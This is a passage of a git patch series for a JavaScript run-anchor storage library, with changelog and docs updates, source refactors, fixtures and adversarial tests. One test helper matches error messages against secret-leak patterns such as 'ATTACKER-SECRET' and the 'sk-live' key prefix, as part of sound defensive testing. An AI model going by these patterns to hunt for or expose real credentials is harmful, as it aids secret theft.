failAnchor('aggregate_run_binding_conflict', 'request_identity', + 'Resolution must bind the committed selection request identity.'); + } + await adoptOrPublishRecord(dirToken, REPLY_RECORD_NAME, reply, REPLY_RECORD_NAME); + await adoptOrPublishRecord(dirToken, PLAN_RECORD_NAME, plan, PLAN_RECORD_NAME); + const next = bindCoordinationPayload({ + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: current.run_id, + anchor_digest: current.anchor_digest, + revision: 2, + phase: 'resolution_ready', + selection_request_binding: current.selection_request_binding, + selection_reply_digest: reply.record.canonical_digest, + resolved_plan_digest: plan.record.canonical_digest, + }); + const coordination = await publishCoordination(dirToken, next); + return snapshotRecord({ + created: true, + record: loaded.anchor.record, + coordination: coordination.record, + }); + })); + }, + async commitResolvedPlan(input) { + if (input === undefined || input === null) { + failAnchor('invalid_type', 'commit', 'commitResolvedPlan requires a plain JSON object.'); + } + assertDirectJsonClosure(input, 'commit'); + const fields = closedObject(input, 'commit', AGGREGATE_COMMIT_PLAN_KEYS); + assertRunId(fields.run_id, 'run_id'); + const plan = bindPlanRecord(fields.run_id, fields.resolved_plan_record); + return operate((ctx) => mutateRun(ctx, fields.run_id, async (dirToken, loaded) => { + assertExpectedRevision(fields.expected_revision, 0, 'expected_revision'); + const current = loaded.coordination.record; + if (current.phase === 'resolution_ready' && current.revision === 1 + && current.resolved_plan_digest === plan.record.canonical_digest + && current.selection_request_binding === null) { + return snapshotRecord({ + created: false, + record: loaded.anchor.record, + coordination: current, + }); + } + if (current.phase !== 'submitted' || current.revision !== 0) { + failAnchor('aggregate_run_revision_conflict', 'expected_revision', + 'commitResolvedPlan requires submitted@0.'); + } + await adoptOrPublishRecord(dirToken, PLAN_RECORD_NAME, plan, PLAN_RECORD_NAME); + const next = bindCoordinationPayload({ + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: current.run_id, + anchor_digest: current.anchor_digest, + revision: 1, + phase: 'resolution_ready', + selection_request_binding: null, + selection_reply_digest: null, + resolved_plan_digest: plan.record.canonical_digest, + }); + const coordination = await publishCoordination(dirToken, next); + return snapshotRecord({ + created: true, + record: loaded.anchor.record, + coordination: coordination.record, + }); + })); + }, }); } From c21a267b789b5409281118711276a2d935554d5e Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 01:47:11 +0000 Subject: [PATCH 040/151] test(run): harden aggregate anchor crash recovery and hostiles --- CHANGELOG.md | 28 + docs/future-work.md | 14 +- .../mcp/v3/aggregate-run-anchor.mjs | 268 ++++++--- .../r1-aggregate-run-anchor-fixtures.mjs | 158 +++++ .../r1-aggregate-run-anchor-worker.mjs | 68 +++ ...-aggregate-run-anchor-adversarial.test.mjs | 555 ++++++++++++++++++ .../test/r1-aggregate-run-anchor.test.mjs | 440 ++++++++++++++ 7 files changed, 1433 insertions(+), 98 deletions(-) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-worker.mjs create mode 100644 plugins/codex-co-engineer/test/r1-aggregate-run-anchor-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-aggregate-run-anchor.test.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index c092955..6d26bd4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,34 @@ ### Added +- **Aggregate pre-dispatch run anchor for unresolved P05 selection.** Additive + `aggregate-run-anchor.mjs` persists one immutable AggregateRunAnchorV1 plus + absorbing coordination state for runs whose P05 provider/model selection is + still unresolved, inside a caller-supplied existing private root distinct + from accepted P24/P25. The P03 registry gains closed labels `storage-root.v1`, + `aggregate-run-anchor.v1`, `aggregate-run-coordination.v1`, + `aggregate-submission-idempotency.v1`, `aggregate-run-claim.v1`, + `aggregate-selection-reply.v1`, and `aggregate-resolved-plan.v1`. + `initializeAggregateRunAnchorRoot` publishes an atomic owner-only + `storage-root.v1` marker of kind `aggregate_run_anchor` plus a nonce, and + only onto an existing private completely empty root. Open rejects unmarked + empty roots and nonempty P24, P25, or foreign layouts, and every operation + reverifies root and marker identity. `claims/.json` is durable + before `runs/`: a claim binds run, anchor, submission key, marker, + and claim nonce/digest. Namespace lock then per-run lock. An empty directory + without the exact claim is never adopted; the exact claim recovers the same + identity; a mismatch conflicts; losers never remove winner paths. High-level + `commitSelectionRequest`, `commitSelectionResolution`, and + `commitResolvedPlan` publish bounded canonical JSON records at fixed names, + fsync, and verify the full record before coordination references it. Exact + orphan records are adopted; differing orphans conflict; committed missing, + malformed, or digest-mismatched files are corruption. The lattice is + `submitted@0` → `awaiting_selection@1` → `resolution_ready@2`, or + `submitted@0` → `resolution_ready@1`; revisions are exact, the terminal + phase is absorbing, and identical retries are idempotent. There is no public + digest CAS, journal, reducer, scheduler, provider, workspace, server, or MCP + wiring, and no migration of P24/P25. Coverage lives in + `r1-aggregate-run-anchor` and `r1-aggregate-run-anchor-adversarial` tests. - **Append-only run journal, deterministic reducer, and run-bound cursor.** Additive `run-reducer.mjs` / `run-journal.mjs` persist one bounded append-only canonical JSONL event chain per run inside a private per-run diff --git a/docs/future-work.md b/docs/future-work.md index a8446e3..628a117 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -18,10 +18,16 @@ fallback or replay, and Codex-only final acceptance. Library-only P24/P25 run persistence now accepts an existing private directory, persists identity-bound idempotent submission records, and appends a hash-chained per-run event journal with a deterministic -terminal-absorbing reducer and run-bound cursors. It does not implement the -rest of the run runtime: there is no scheduler, provider dispatch, -workspace provisioning, cleanup, candidate composition, `AttentionBatchV1`, -supervisor/server journal wiring, or MCP surface above the library layer. +terminal-absorbing reducer and run-bound cursors. A separate R24A +aggregate pre-dispatch run anchor accepts its own existing private root +marked `storage-root.v1` kind `aggregate_run_anchor`, binds identity with +durable claims before run directories, and publishes full selection +request/reply/resolved-plan records before absorbing coordination +references; it does not migrate or write into P24/P25. None of these +library layers implement the rest of the run runtime: there is no +scheduler, provider dispatch, workspace provisioning, cleanup, candidate +composition, `AttentionBatchV1`, supervisor/server journal wiring, or MCP +surface above the library layer. Gate A remains the functional release authority; Gate B context-efficiency and Gate C credit economics stay advisory. diff --git a/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs b/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs index 96c6245..b7eccb0 100644 --- a/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/aggregate-run-anchor.mjs @@ -1124,21 +1124,28 @@ function stampRecord(runId, anchorDigest, nonceHex) { }; } -async function verifyCreationStamp(dirToken, binding) { - const opened = await readBoundedFile(dirToken, STAMP_NAME, MAX_AGGREGATE_STAMP_BYTES, STAMP_NAME); +function bindStampPayload(runId, anchorDigest, nonceHex) { + assertRunId(runId, 'run_id'); + assertBoundDigest(anchorDigest, 'record_canonical_digest'); + if (typeof nonceHex !== 'string' || !capturedTest(NONCE_PATTERN, nonceHex)) { + failAnchor('invalid_format', 'nonce', 'Creation stamp nonce must be 32 lowercase hex characters.'); + } + const record = stampRecord(runId, anchorDigest, nonceHex); + return { record, bytes: encodeRecord(record, MAX_AGGREGATE_STAMP_BYTES, STAMP_NAME) }; +} + +async function verifyCreationStamp(dirToken, binding, claimNonce) { const rebound = () => failAnchor('aggregate_run_dir_swapped', STAMP_NAME, 'The run directory is not the private aggregate run created for this claim.'); - if (opened === null) rebound(); - const parsed = parseCanonicalObject(opened.bytes, STAMP_NAME, MAX_AGGREGATE_STAMP_BYTES); - const keys = sortedCapturedKeys(parsed); - if (keys.length !== 4 - || parsed.schema !== AGGREGATE_RUN_STAMP_SCHEMA_ID - || parsed.run_id !== binding.run_id - || parsed.record_canonical_digest !== binding.canonical_digest - || typeof parsed.nonce !== 'string' - || !capturedTest(NONCE_PATTERN, parsed.nonce)) { - rebound(); + let expected; + try { + expected = bindStampPayload(binding.run_id, binding.canonical_digest, claimNonce); + } catch (error) { + if (error instanceof RunContractV1Error) rebound(); + throw error; } + const opened = await readBoundedFile(dirToken, STAMP_NAME, MAX_AGGREGATE_STAMP_BYTES, STAMP_NAME); + if (opened === null || !equalBytes(opened.bytes, expected.bytes)) rebound(); } function classifyRootName(name) { @@ -1331,11 +1338,46 @@ async function auditRunLayout(dirToken) { return { names, temporaries }; } -async function loadCompleteRun(dirToken, runId) { +function durableRunFileNames(names) { + return names.filter((name) => !capturedTest(TEMP_NAME_PATTERN, name) + && !capturedTest(LOCK_OWNER_NAME_PATTERN, name) && name !== LOCK_NAME); +} + +function classifyExactSubmitPrefix(names) { + const durable = durableRunFileNames(names); + if (durable.length === 0) return 'empty'; + const set = new Set(durable); + if (durable.length === 1 && set.has(ANCHOR_NAME)) return 'anchor'; + if (durable.length === 2 && set.has(ANCHOR_NAME) && set.has(COORDINATION_NAME)) { + return 'anchor_coordination'; + } + return null; +} + +async function publishExactIfAbsent(dirToken, name, bytes, maxBytes, field, mismatchCode, mismatchMessage) { + const existing = await readBoundedFile(dirToken, name, maxBytes, field); + if (existing !== null) { + if (!equalBytes(existing.bytes, bytes)) { + failAnchor(mismatchCode, field, mismatchMessage); + } + return { published: false }; + } + const published = await exclusivePublish(dirToken, name, bytes, field); + if (published.published) return { published: true }; + const raced = await readBoundedFile(dirToken, name, maxBytes, field); + if (raced === null) { + failAnchor('aggregate_run_unreadable', field, 'An existing aggregate run file could not be verified.'); + } + if (!equalBytes(raced.bytes, bytes)) { + failAnchor(mismatchCode, field, mismatchMessage); + } + return { published: false }; +} + +async function loadCompleteRun(dirToken, runId, claimRecord) { const cleaned = await auditRunLayout(dirToken); await removeStaleTemporaries(dirToken, cleaned.temporaries); - const names = cleaned.names.filter((name) => !capturedTest(TEMP_NAME_PATTERN, name) - && !capturedTest(LOCK_OWNER_NAME_PATTERN, name) && name !== LOCK_NAME); + const names = durableRunFileNames(cleaned.names); if (!names.includes(ANCHOR_NAME) || !names.includes(COORDINATION_NAME) || !names.includes(STAMP_NAME)) { return { complete: false, names }; } @@ -1356,7 +1398,13 @@ async function loadCompleteRun(dirToken, runId) { failAnchor('aggregate_run_identity_mismatch', 'anchor_digest', 'Coordination does not bind the stored anchor digest.'); } - await verifyCreationStamp(dirToken, anchor.record); + if (claimRecord.anchor_digest !== anchor.record.canonical_digest + || claimRecord.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'claim', + 'The durable claim does not match the stored aggregate anchor.'); + } + await verifyCreationStamp(dirToken, anchor.record, claimRecord.nonce); + await verifyReferencedRecords(dirToken, coordination.record); return { complete: true, names, @@ -1366,8 +1414,35 @@ async function loadCompleteRun(dirToken, runId) { }; } -async function publishInitialRunFiles(dirToken, prepared) { - const existing = await loadCompleteRun(dirToken, prepared.record.run_id); +async function assertExactSubmitPrefix(dirToken, prepared, prefixKind) { + if (prefixKind === 'empty') return; + const anchorOpened = await readBoundedFile(dirToken, ANCHOR_NAME, MAX_AGGREGATE_ANCHOR_BYTES, ANCHOR_NAME); + if (anchorOpened === null) { + failAnchor('aggregate_run_unreadable', ANCHOR_NAME, + 'An existing aggregate run file could not be verified.'); + } + parseStoredAnchor(anchorOpened.bytes); + if (!equalBytes(anchorOpened.bytes, prepared.bytes)) { + failAnchor('aggregate_run_identity_conflict', ANCHOR_NAME, + 'Run id already binds a different aggregate anchor.'); + } + if (prefixKind !== 'anchor_coordination') return; + const expectedCoord = initialCoordination(prepared.record); + const coordOpened = await readBoundedFile(dirToken, COORDINATION_NAME, MAX_AGGREGATE_COORDINATION_BYTES, + COORDINATION_NAME); + if (coordOpened === null) { + failAnchor('aggregate_run_unreadable', COORDINATION_NAME, + 'An existing coordination file could not be verified.'); + } + parseStoredCoordination(coordOpened.bytes); + if (!equalBytes(coordOpened.bytes, expectedCoord.bytes)) { + failAnchor('aggregate_run_unreadable', COORDINATION_NAME, + 'An existing coordination file could not be verified.'); + } +} + +async function publishInitialRunFiles(dirToken, prepared, claimRecord) { + const existing = await loadCompleteRun(dirToken, prepared.record.run_id, claimRecord); if (existing.complete) { if (existing.anchor.record.canonical_digest !== prepared.record.canonical_digest) { failAnchor('aggregate_run_identity_conflict', 'run_id', @@ -1375,39 +1450,32 @@ async function publishInitialRunFiles(dirToken, prepared) { } return { created: false, anchor: existing.anchor, coordination: existing.coordination }; } + const prefixKind = classifyExactSubmitPrefix(existing.names); + if (prefixKind === null) { + failAnchor('aggregate_run_unreadable', 'directory', + 'The claimed run directory is not a complete aggregate run.'); + } + await assertExactSubmitPrefix(dirToken, prepared, prefixKind); const coord = initialCoordination(prepared.record); - const stamp = encodeRecord( - stampRecord(prepared.record.run_id, prepared.record.canonical_digest, RANDOM_BYTES(16).toString('hex')), - MAX_AGGREGATE_STAMP_BYTES, - STAMP_NAME, + const stamp = bindStampPayload( + prepared.record.run_id, + prepared.record.canonical_digest, + claimRecord.nonce, ); - const publishedAnchor = await exclusivePublish(dirToken, ANCHOR_NAME, prepared.bytes, ANCHOR_NAME); - if (!publishedAnchor.published) { - const loaded = await loadCompleteRun(dirToken, prepared.record.run_id); - if (!loaded.complete) { - failAnchor('aggregate_run_unreadable', ANCHOR_NAME, - 'An existing aggregate run file could not be verified.'); - } - if (loaded.anchor.record.canonical_digest !== prepared.record.canonical_digest) { - failAnchor('aggregate_run_identity_conflict', 'run_id', - 'Run id already binds a different aggregate anchor.'); - } - return { created: false, anchor: loaded.anchor, coordination: loaded.coordination }; - } - const publishedCoord = await exclusivePublish(dirToken, COORDINATION_NAME, coord.bytes, COORDINATION_NAME); - if (!publishedCoord.published) { - const loaded = await loadCompleteRun(dirToken, prepared.record.run_id); - if (!loaded.complete) { - failAnchor('aggregate_run_unreadable', COORDINATION_NAME, - 'An existing coordination file could not be verified.'); - } - return { created: false, anchor: loaded.anchor, coordination: loaded.coordination }; - } - const publishedStamp = await exclusivePublish(dirToken, STAMP_NAME, stamp, STAMP_NAME); - if (!publishedStamp.published) { - await verifyCreationStamp(dirToken, prepared.record); - } - const loaded = await loadCompleteRun(dirToken, prepared.record.run_id); + if (prefixKind === 'empty') { + await publishExactIfAbsent(dirToken, ANCHOR_NAME, prepared.bytes, MAX_AGGREGATE_ANCHOR_BYTES, + ANCHOR_NAME, 'aggregate_run_identity_conflict', + 'Run id already binds a different aggregate anchor.'); + } + if (prefixKind === 'empty' || prefixKind === 'anchor') { + await publishExactIfAbsent(dirToken, COORDINATION_NAME, coord.bytes, MAX_AGGREGATE_COORDINATION_BYTES, + COORDINATION_NAME, 'aggregate_run_unreadable', + 'An existing coordination file could not be verified.'); + } + await publishExactIfAbsent(dirToken, STAMP_NAME, stamp.bytes, MAX_AGGREGATE_STAMP_BYTES, + STAMP_NAME, 'aggregate_run_dir_swapped', + 'The run directory is not the private aggregate run created for this claim.'); + const loaded = await loadCompleteRun(dirToken, prepared.record.run_id, claimRecord); if (!loaded.complete) { failAnchor('aggregate_run_unreadable', 'directory', 'Published aggregate run files did not verify.'); } @@ -1498,7 +1566,7 @@ async function completeSubmit(ctx, prepared) { let runLock = null; try { runLock = await acquireLock(dirToken, AGGREGATE_RUN_LOCK_SCHEMA_ID); - const result = await publishInitialRunFiles(dirToken, prepared); + const result = await publishInitialRunFiles(dirToken, prepared, claimRecord); await reverifyDirectory(root, 'root'); await reverifyDirectory(claims, 'claims'); await reverifyDirectory(runs, 'runs'); @@ -1677,19 +1745,21 @@ function assertExpectedRevision(value, expected, field) { } } +function corruptCommitted(field, message) { + failAnchor('aggregate_run_record_corruption', field, message); +} + async function verifyCommittedRecord(dirToken, name, digest, field, kind) { const opened = await readBoundedFile(dirToken, name, MAX_AGGREGATE_RECORD_BYTES, field); if (opened === null) { - failAnchor('aggregate_run_record_corruption', field, - 'A committed aggregate record is missing.'); + corruptCommitted(field, 'A committed aggregate record is missing.'); } let parsed; try { parsed = parseCanonicalObject(opened.bytes, field, MAX_AGGREGATE_RECORD_BYTES); } catch (error) { if (error instanceof RunContractV1Error) { - failAnchor('aggregate_run_record_corruption', field, - 'A committed aggregate record is malformed.'); + corruptCommitted(field, 'A committed aggregate record is malformed.'); } throw error; } @@ -1697,8 +1767,10 @@ async function verifyCommittedRecord(dirToken, name, digest, field, kind) { try { validateSelectionRequestV1(parsed); } catch (error) { - failAnchor('aggregate_run_record_corruption', field, - 'A committed selection request record failed verification.'); + if (error instanceof RunContractV1Error) { + corruptCommitted(field, 'A committed selection request record failed verification.'); + } + throw error; } const identity = selectionRequestIdentity(parsed); const recordDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_ANCHOR, { @@ -1708,33 +1780,61 @@ async function verifyCommittedRecord(dirToken, name, digest, field, kind) { digest: identity.digest, body: parsed, }); - if (recordDigest !== digest) { - failAnchor('aggregate_run_record_corruption', field, - 'A committed selection request record digest does not match.'); + if (recordDigest !== digest || !equalBytes(encodeRecord(parsed, MAX_AGGREGATE_RECORD_BYTES, field), opened.bytes)) { + corruptCommitted(field, 'A committed selection request record digest does not match.'); } return; } if (kind === 'reply') { - const rebuilt = bindReplyRecord(parsed.run_id, { request_id: parsed.request_id }, { + let rebuilt; + try { + rebuilt = bindReplyRecord(parsed.run_id, { request_id: parsed.request_id }, { + schema: parsed.schema, + run_id: parsed.run_id, + request_id: parsed.request_id, + answers: parsed.answers, + }); + } catch (error) { + if (error instanceof RunContractV1Error) { + corruptCommitted(field, 'A committed selection reply record is malformed.'); + } + throw error; + } + if (rebuilt.record.canonical_digest !== digest || !equalBytes(rebuilt.bytes, opened.bytes)) { + corruptCommitted(field, 'A committed selection reply record digest does not match.'); + } + return; + } + let rebuilt; + try { + rebuilt = bindPlanRecord(parsed.run_id, { schema: parsed.schema, run_id: parsed.run_id, - request_id: parsed.request_id, - answers: parsed.answers, + complete: parsed.complete, }); - if (rebuilt.record.canonical_digest !== digest || !equalBytes(rebuilt.bytes, opened.bytes)) { - failAnchor('aggregate_run_record_corruption', field, - 'A committed selection reply record digest does not match.'); + } catch (error) { + if (error instanceof RunContractV1Error) { + corruptCommitted(field, 'A committed resolved plan record is malformed.'); } - return; + throw error; } - const rebuilt = bindPlanRecord(parsed.run_id, { - schema: parsed.schema, - run_id: parsed.run_id, - complete: parsed.complete, - }); if (rebuilt.record.canonical_digest !== digest || !equalBytes(rebuilt.bytes, opened.bytes)) { - failAnchor('aggregate_run_record_corruption', field, - 'A committed resolved plan record digest does not match.'); + corruptCommitted(field, 'A committed resolved plan record digest does not match.'); + } +} + +async function verifyReferencedRecords(dirToken, coordination) { + if (coordination.selection_request_binding !== null) { + await verifyCommittedRecord(dirToken, REQUEST_RECORD_NAME, + coordination.selection_request_binding.record_digest, REQUEST_RECORD_NAME, 'request'); + } + if (coordination.selection_reply_digest !== null) { + await verifyCommittedRecord(dirToken, REPLY_RECORD_NAME, + coordination.selection_reply_digest, REPLY_RECORD_NAME, 'reply'); + } + if (coordination.resolved_plan_digest !== null) { + await verifyCommittedRecord(dirToken, PLAN_RECORD_NAME, + coordination.resolved_plan_digest, PLAN_RECORD_NAME, 'plan'); } } @@ -1761,31 +1861,11 @@ async function mutateRun(ctx, runId, mutator) { let runLock = null; try { runLock = await acquireLock(dirToken, AGGREGATE_RUN_LOCK_SCHEMA_ID); - const loaded = await loadCompleteRun(dirToken, runId); + const loaded = await loadCompleteRun(dirToken, runId, claim.record); if (!loaded.complete) { failAnchor('aggregate_run_unreadable', 'directory', 'The claimed run directory is not a complete aggregate run.'); } - if (loaded.anchor.record.canonical_digest !== claim.record.anchor_digest) { - failAnchor('aggregate_run_identity_mismatch', 'claim', - 'The durable claim does not match the stored aggregate anchor.'); - } - if (loaded.coordination.record.phase === 'awaiting_selection') { - await verifyCommittedRecord(dirToken, REQUEST_RECORD_NAME, - loaded.coordination.record.selection_request_binding.record_digest, - REQUEST_RECORD_NAME, 'request'); - } - if (loaded.coordination.record.phase === 'resolution_ready') { - if (loaded.coordination.record.selection_request_binding !== null) { - await verifyCommittedRecord(dirToken, REQUEST_RECORD_NAME, - loaded.coordination.record.selection_request_binding.record_digest, - REQUEST_RECORD_NAME, 'request'); - await verifyCommittedRecord(dirToken, REPLY_RECORD_NAME, - loaded.coordination.record.selection_reply_digest, REPLY_RECORD_NAME, 'reply'); - } - await verifyCommittedRecord(dirToken, PLAN_RECORD_NAME, - loaded.coordination.record.resolved_plan_digest, PLAN_RECORD_NAME, 'plan'); - } const result = await mutator(dirToken, loaded); await reverifyDirectory(root, 'root'); await reverifyDirectory(claims, 'claims'); diff --git a/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-fixtures.mjs new file mode 100644 index 0000000..1e48b12 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-fixtures.mjs @@ -0,0 +1,158 @@ +// Neutral builders for aggregate pre-dispatch run-anchor tests. +// Tests own the assertions. These helpers never rank, default, or substitute. + +import { chmod, mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { IDENTITY_LABELS, runManifestDigestV1 } from '../../mcp/v3/identity.mjs'; +import { + AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + AGGREGATE_SELECTION_REPLY_SCHEMA_ID, +} from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { + buildGitIdentityV1, + buildRunIdentityV1, +} from '../../mcp/v3/protected-identity.mjs'; +import { + resolveRunSelectionV1, + selectionRequestIdentity, +} from '../../mcp/v3/resolver.mjs'; +import { identityBoundDigest } from '../../mcp/v3/selection-json.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + REPOSITORY_PATH, + RUN_ID, +} from './r1-protected-identity-fixtures.mjs'; +import { + resolveInputs, + reviewer, + runManifest, + writer, +} from './r1-resolver-fixtures.mjs'; + +export { + ASSIGNMENT_ID, + BASE_SHA, + REPOSITORY_PATH, + RUN_ID, +}; + +export const AGGREGATE_RUN_ID = 'aggregate-run-under-test'; + +export async function makePrivateRoot(prefix = 'r1-r24a-') { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + await chmod(root, 0o700); + return root; +} + +export function makeIdentity({ + runId = AGGREGATE_RUN_ID, + assignmentCount = 1, + unresolved = false, +} = {}) { + const assignments = []; + for (let index = 0; index < assignmentCount; index += 1) { + const assignmentId = assignmentCount === 1 ? ASSIGNMENT_ID : `lane-${index}`; + if (unresolved) { + assignments.push(reviewer(assignmentId, 'omitted')); + } else { + assignments.push(writer(assignmentId, [`src/${assignmentId}/**`], { + provider: 'grok', + model: 'grok-4', + })); + } + } + const manifest = runManifest(assignments, { + run_id: runId, + repository: { path: REPOSITORY_PATH, base_sha: BASE_SHA }, + }); + const manifestDigest = runManifestDigestV1(manifest).digest; + const git = buildGitIdentityV1({ + repository_path: REPOSITORY_PATH, + base_sha: BASE_SHA, + }); + const identity = buildRunIdentityV1({ + run_id: runId, + git, + manifest_digest: manifestDigest, + }); + return { + run_id: runId, + identity, + git, + manifest_digest: manifestDigest, + assignment_count: assignmentCount, + manifest, + }; +} + +export function makeSubmitInput(options) { + const built = makeIdentity(options); + return { + run_id: built.run_id, + identity: built.identity, + git: built.git, + manifest_digest: built.manifest_digest, + }; +} + +export function makeSelectionRequest(options = {}) { + const built = makeIdentity({ unresolved: true, assignmentCount: 1, ...options }); + const plan = resolveRunSelectionV1(resolveInputs(built.manifest)); + const record = plan.selection_request; + if (record === null || record === undefined) { + throw new Error('fixture expected an unresolved SelectionRequestV1'); + } + return { + record, + identity: selectionRequestIdentity(record), + plan, + }; +} + +export function makeReplyInput(runId, requestId, answers) { + return { + schema: AGGREGATE_SELECTION_REPLY_SCHEMA_ID, + run_id: runId, + request_id: requestId, + answers, + }; +} + +export function makeStoredReply(runId, requestId, answers) { + const payload = makeReplyInput(runId, requestId, answers); + return { + ...payload, + canonical_digest: identityBoundDigest(IDENTITY_LABELS.AGGREGATE_SELECTION_REPLY, payload), + }; +} + +export function makePlanInput(runId, complete = true) { + return { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: runId, + complete, + }; +} + +export function makeStoredPlan(runId) { + const payload = makePlanInput(runId, true); + return { + ...payload, + canonical_digest: identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RESOLVED_PLAN, payload), + }; +} + +export function defaultAnswers(assignmentCount = 1) { + const answers = []; + for (let index = 0; index < assignmentCount; index += 1) { + answers.push({ + assignment_id: assignmentCount === 1 ? ASSIGNMENT_ID : `lane-${index}`, + model: 'grok-4', + provider: 'grok', + }); + } + return answers; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-worker.mjs b/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-worker.mjs new file mode 100644 index 0000000..b8a7467 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-aggregate-run-anchor-worker.mjs @@ -0,0 +1,68 @@ +// Cross-process aggregate-run-anchor worker used by concurrency tests. +// Usage: +// node r1-aggregate-run-anchor-worker.mjs [assignmentCount] +// mode is submit | request | resolution | plan +// Prints exactly one JSON result line: { ok, created, code? }. + +import { openAggregateRunAnchor } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { + defaultAnswers, + makePlanInput, + makeReplyInput, + makeSelectionRequest, + makeSubmitInput, +} from './r1-aggregate-run-anchor-fixtures.mjs'; + +const [root, mode, runId, rawCount] = process.argv.slice(2); +const assignmentCount = Number.parseInt(rawCount ?? '1', 10); + +function emit(value) { + process.stdout.write(`${JSON.stringify(value)}\n`); +} + +try { + const store = await openAggregateRunAnchor(root); + let result; + if (mode === 'submit') { + result = await store.submit(makeSubmitInput({ runId, assignmentCount })); + } else if (mode === 'request') { + const selection = makeSelectionRequest({ runId, assignmentCount }); + result = await store.commitSelectionRequest({ + run_id: runId, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + } else if (mode === 'resolution') { + const selection = makeSelectionRequest({ runId, assignmentCount }); + result = await store.commitSelectionResolution({ + run_id: runId, + expected_revision: 1, + request_identity: selection.identity, + reply_record: makeReplyInput(runId, selection.identity.request_id, defaultAnswers(assignmentCount)), + resolved_plan_record: makePlanInput(runId, true), + }); + } else if (mode === 'plan') { + result = await store.commitResolvedPlan({ + run_id: runId, + expected_revision: 0, + resolved_plan_record: makePlanInput(runId, true), + }); + } else { + throw new Error('unknown-mode'); + } + emit({ + ok: true, + created: result.created === true, + phase: result.coordination?.phase ?? null, + revision: result.coordination?.revision ?? null, + }); +} catch (error) { + emit({ + ok: false, + created: false, + code: error?.code ?? 'unknown', + path: error?.path ?? '', + }); + process.exitCode = 1; +} diff --git a/plugins/codex-co-engineer/test/r1-aggregate-run-anchor-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-aggregate-run-anchor-adversarial.test.mjs new file mode 100644 index 0000000..20dda5b --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-aggregate-run-anchor-adversarial.test.mjs @@ -0,0 +1,555 @@ +import assert from 'node:assert/strict'; +import { + chmod, + mkdir, + open, + readdir, + readFile, + rename, + rm, + symlink, + truncate, + writeFile, +} from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { + AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + AGGREGATE_RUN_STAMP_SCHEMA_ID, + initializeAggregateRunAnchorRoot, + openAggregateRunAnchor, +} from '../mcp/v3/aggregate-run-anchor.mjs'; +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + AGGREGATE_RUN_ID, + defaultAnswers, + makePlanInput, + makePrivateRoot, + makeReplyInput, + makeSelectionRequest, + makeStoredPlan, + makeStoredReply, + makeSubmitInput, +} from './fixtures/r1-aggregate-run-anchor-fixtures.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); +} + +async function withAnchor(fn) { + const root = await makePrivateRoot('r1-r24a-adv-'); + try { + const store = await initializeAggregateRunAnchorRoot(root); + return await fn(root, store); + } finally { + await rm(root, { recursive: true, force: true }); + } +} + +test('illegal transitions, stale revisions, and second bindings conflict', async () => { + await withAnchor(async (_root, store) => { + await store.submit(makeSubmitInput()); + assert.equal((await errorOf(() => store.commitSelectionResolution({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 1, + request_identity: makeSelectionRequest().identity, + reply_record: makeReplyInput( + AGGREGATE_RUN_ID, makeSelectionRequest().identity.request_id, defaultAnswers(1), + ), + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }))).code, 'aggregate_run_revision_conflict'); + + const selection = makeSelectionRequest(); + await store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: selection.identity, + record: selection.record, + }); + const other = makeSelectionRequest({ runId: AGGREGATE_RUN_ID, assignmentCount: 8 }); + assert.equal((await errorOf(() => store.commitSelectionRequest({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + request_identity: other.identity, + record: other.record, + }))).code, 'aggregate_run_revision_conflict'); + assert.equal((await errorOf(() => store.commitResolvedPlan({ + run_id: AGGREGATE_RUN_ID, + expected_revision: 0, + resolved_plan_record: makePlanInput(AGGREGATE_RUN_ID, true), + }))).code, 'aggregate_run_revision_conflict'); + }); +}); + +test('exact orphan records are adopted and differing 